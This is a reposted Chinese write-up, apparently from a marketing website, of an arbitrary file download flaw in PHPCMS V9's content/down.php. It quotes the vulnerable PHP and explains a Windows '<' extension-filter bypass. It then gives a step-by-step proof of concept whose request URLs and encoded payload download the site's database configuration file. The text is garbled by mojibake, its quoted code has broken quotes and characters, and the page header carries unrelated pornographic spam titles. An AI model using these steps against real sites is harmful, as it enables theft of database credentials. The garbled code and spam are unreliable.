国产成人精品无码青草_亚洲国产美女精品久久久久∴_欧美人与鲁交大毛片免费_国产果冻豆传媒麻婆精东

18143453325 在線咨詢 在線咨詢
18143453325 在線咨詢
所在位置: 首頁 > 營銷資訊 > 網(wǎng)站運營 > PHPCMS V9 任意文件下載

PHPCMS V9 任意文件下載

時間:2023-04-24 19:03:02 | 來源:網(wǎng)站運營

時間:2023-04-24 19:03:02 來源:網(wǎng)站運營

PHPCMS V9 任意文件下載:

一、背景:任意文件下載漏洞和 《PHPCMS v9.6.0 wap模塊 SQL注入》 在同一個文件,只不過觸發(fā)點在download函數(shù)。

二、詳情:漏洞文件在phpcms/modules/content/down.php,漏洞觸發(fā)函數(shù):

public function download() { $a_k = trim($_GET[‘a(chǎn)_k’]); $pc_auth_key = md5(pc_base::load_config(‘system’,’auth_key’).$_SERVER[‘HTTP_USER_AGENT’].’down’); $a_k = sys_auth($a_k, ‘DECODE’, $pc_auth_key); if(empty($a_k)) showmessage(L(‘illegal_parameters’)); unset($I,$m,$f,$t,$ip); parse_str($a_k); if(isset($i)) $downid = intval($i); if(!isset($m)) showmessage(L(‘illegal_parameters’)); if(!isset($modelid)) showmessage(L(‘illegal_parameters’)); if(empty($f)) showmessage(L(‘url_invalid’)); if(!$I || $m<0) showmessage(L(‘illegal_parameters’)); if(!isset($t)) showmessage(L(‘illegal_parameters’)); if(!isset($ip)) showmessage(L(‘illegal_parameters’)); $starttime = intval($t); if(preg_match(/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(/.|$)/i’,$f) || strpos($f, ://”)!==FALSE || strpos($f,..)!==FALSE) showmessage(L(‘url_error’)); $fileurl = trim($f); if(!$downid || empty($fileurl) || !preg_match(/[0-9]{10}/, $starttime) || !preg_match(/[0-9]{1,3}/.[0-9]{1,3}/.[0-9]{1,3}/.[0-9]{1,3}/, $ip) || $ip != ip()) showmessage(L(‘illegal_parameters’)); $endtime = SYS_TIME - $starttime; if($endtime > 3600) showmessage(L(‘url_invalid’)); if($m) $fileurl = trim($s).trim($fileurl); if(preg_match(/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(/.|$)/i’,$fileurl) ) showmessage(L(‘url_error’)); //遠(yuǎn)程文件 if(strpos($fileurl, :/) && (strpos($fileurl, pc_base::load_config(‘system’,’upload_url’)) === false)) { header(“Location: $fileurl”); } else { if($d == 0) { header(“Location: .$fileurl); } else { $fileurl = str_replace(array(pc_base::load_config(‘system’,’upload_url’),/), array(pc_base::load_config(‘system’,’upload_path’),DIRECTORY_SEPARATOR), $fileurl); $filename = basename($fileurl); //處理中文文件 if(preg_match(/^([/s/S]*?)([/x81-/xfe][/x40-/xfe])([/s/S]*?)/, $fileurl)) { $filename = str_replace(array(%5C”, %2F”, %3A”), array(“//”, /, :), urlencode($fileurl)); $filename = urldecode(basename($filename)); } $ext = fileext($filename); $filename = date(‘Ymd_his’).random(3)...$ext; file_down($fileurl, $filename); } } }

這個函數(shù)用于下載文件,其基本流程是:從外部獲取a_k參數(shù) -> 解密a_k字符串 -> parse_str注冊變量,假設(shè)我們可以控制a_k參數(shù),那么就可以將我們的payload帶入,實現(xiàn)任意文件下載。(上文中后續(xù)代碼會對下載文件的后綴進(jìn)行檢測,在Windows下可以通過”<”符號來匹配文件,例如index.php可以使用index.ph<來完成繞過)

然后再看同一文件里的init函數(shù)的最后幾行,

if(preg_match(/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(/.|$)/i’,$f) || strpos($f, ://”)!==FALSE || strpos($f,..)!==FALSE) showmessage(L(‘url_error’));if(strpos($f, ‘http://') !== FALSE || strpos($f, ‘ftp://') !== FALSE || strpos($f, ://) === FALSE) { $pc_auth_key = md5(pc_base::load_config(‘system’,’auth_key’).$_SERVER[‘HTTP_USER_AGENT’].’down’); $a_k = urlencode(sys_auth(“I=$I&d=$d&s=$s&t=.SYS_TIME.&ip=.ip().&m=.$m.&f=$f&modelid=.$modelid, ‘ENCODE’, $pc_auth_key)); $downurl = ?m=content&c=down&a=download&a_k=.$a_k;} else { $downurl = $f; }include template(‘content’,’download’);

可以看到這里通過將多個變量拼接后加密生成了變量$a_k并作為下載鏈接返回到了客戶端,所以我們需要再想辦法控制這些變量。看該函數(shù)的頭幾行:

public function init() { $a_k = trim($_GET[‘a(chǎn)_k’]); if(!isset($a_k)) showmessage(L(‘illegal_parameters’)); $a_k = sys_auth($a_k, ‘DECODE’, pc_base::load_config(‘system’,’auth_key’)); if(empty($a_k)) showmessage(L(‘illegal_parameters’)); unset($I,$m,$f); parse_str($a_k);

這些變量的值還是來自外部的a_k參數(shù),然后解密并由parse_str注冊而成。這里就回到了 《PHPCMS v9.6.0 wap模塊 SQL注入》 漏洞的觸發(fā)處。但是我們這里我們并不要sql注入,而是讓程序繼續(xù)往下執(zhí)行完成文件下載功能。之前的步驟可參考 《PHPCMS v9.6.0 wap模塊 SQL注入》 ,在此略過。

《PHPCMS v9.6.0 wap模塊 SQL注入》《PHPCMS v9.6.0 wap模塊 SQL注入》

三、驗證

step 1: 通過訪問wap模塊拿到加密后的cookie

127.0.0.1/index.php?m=wap&c=index&siteid=1

step 2: 將上面得到的加密cookie作為userid_flash的值,并帶上payload訪問swfupload_json函數(shù)

URL: 127.0.0.1/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id%3D1%26m%3D1%26f%3Dcaches%2fconfigs%2fdatabase.ph%253C%26modelid%3D1%26catid%3D1%26s%3D%26i%3D1%26d%3D1%26POST: userid_flash=3254G0WHf0Ezjn-F0XeGWGKAFzbQIG74zvdPJNuj

其中payload是經(jīng)過url編碼的,解碼后為:

127.0.0.1/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&id=1&m=1&f=caches/configs/database.ph%3C&modelid=1&catid=1&s=&I=1&d=1&

step 3: 將上面得到的加密cookie作為參數(shù)a_k的值再訪問init函數(shù)

127.0.0.1/index.php?m=content&c=down&a_k=6f01j0SKUOgHPwRUwo6buVR4uKU5RZKWguMoCL58JF9yD_B57-gpUqzVCPhzbnoULuANgKs7vHf437EIG24Qu07ExowlP1C99QVpP4aQ-19rFRbDE6OsOifqnBnoCjyxn-D2oZ9Ey0ec7BjM5TkJjweVmKnXtM2iSIkyu5jdyMndQ8YL8SE

step 4: 直接點擊頁面中的下載鏈接,即可下載。




2017.4.21

關(guān)鍵詞:文件,任意

74
73
25
news

版權(quán)所有? 億企邦 1997-2025 保留一切法律許可權(quán)利。

為了最佳展示效果,本站不支持IE9及以下版本的瀏覽器,建議您使用谷歌Chrome瀏覽器。 點擊下載Chrome瀏覽器
關(guān)閉